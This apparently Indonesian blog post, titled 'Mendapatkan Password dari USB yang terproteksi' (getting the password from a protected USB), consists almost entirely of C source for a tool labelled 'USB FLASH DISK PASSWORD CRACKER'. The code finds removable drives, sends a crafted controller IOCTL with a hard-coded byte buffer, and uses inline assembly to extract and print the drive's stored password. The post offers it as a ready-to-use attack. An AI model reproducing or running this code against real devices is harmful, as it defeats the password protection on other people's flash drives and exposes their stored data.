Mendapatkan Password dari USB yang terproteksi

Posted in

#define WIN32_EXTRA_LEAN
#define WIN32_LEAN_AND_MEAN

#include "windows.h"
#include "stdio.h"
#include "conio.h"
#include "WinIoCtl.h"

#define IOCTL_CONTROLLER_GET_INFO CTL_CODE(FILE_DEVICE_CONTROLLER, 0x405, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)

void DoThat();
char password[10];
DWORD hbytes;
char drvfrmt[15];
char dumpresult[255];
BYTE deadbyte[100] = {0x2C,0x00,0x00,0x00,0x01,0x00,0x0A,
  0x00,0x01,0x00,0x00,0x00,0x00,0x08,
  0x00,0x00,0xD0,0x07,0x00,0x00,0xFF,
  0xFF,0xFF,0xFF,0x30,0x00,0x00,0x00,
  0xF8,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x01,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00,0x00,0x00,0x00,
  0x00,0x00};

int main(int argc,char *args[]) {
 DoThat();
 _getch();
 return 0;
 }

void DoThat() {
 HANDLE hUFD;
 char drivestr[80];
 int i = 0;
 int j = 0;
 printf(" ---------------------------------------\n");
 printf("| USB FLASH DISK PASSWORD CRACKER |\n");
 printf("| created by : flux2k8 gunadarma. |\n");
 printf(" ---------------------------------------\n");
 memset(drivestr,0,sizeof(drivestr));
 GetLogicalDriveStrings(sizeof(drivestr),drivestr);
 while(TRUE) {
  if(GetDriveType(&drivestr[i]) == 2) {
  if(GetVolumeInformation(&drivestr[i],0,0,0,0,0,0,0) != 0) {
  sprintf_s(drvfrmt,"\\\\.\\%.2s",&drivestr[i]);
  hUFD = CreateFile(drvfrmt,
  GENERIC_READ | GENERIC_WRITE,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  NULL,
  OPEN_EXISTING,
  FILE_ATTRIBUTE_NORMAL,
  NULL);
  memset(dumpresult,0,sizeof(dumpresult));
  _asm mov dword ptr[deadbyte+20],offset dumpresult;
  DeviceIoControl(hUFD,IOCTL_CONTROLLER_GET_INFO,deadbyte,80,deadbyte,80,&hbytes,NULL);
  CloseHandle(hUFD);
  __asm {
  mov edx,dword ptr[dumpresult+0x2a];
  mov eax,dword ptr[dumpresult+0x71];
  mov dword ptr[password+8],0;
  mov dword ptr[password+4],eax;
  mov dword ptr[password],edx;
  }
  if(strlen(password) != 0 && GetLastError() != ERROR_IO_DEVICE)
  printf("| Password UFD %s anda = %9s |\n",&drivestr[i],password);
  else
  printf("| Password UFD %s anda = ... |\n",&drivestr[i]);
  j++;
  }
  }
  i+=4;
  if(drivestr[i] == NULL)
  break;
  }
 if(j < 1)
  printf("| No UFD Detected!, Please Insert UFD. |\n");

  printf(" ---------------------------------------\n");
 }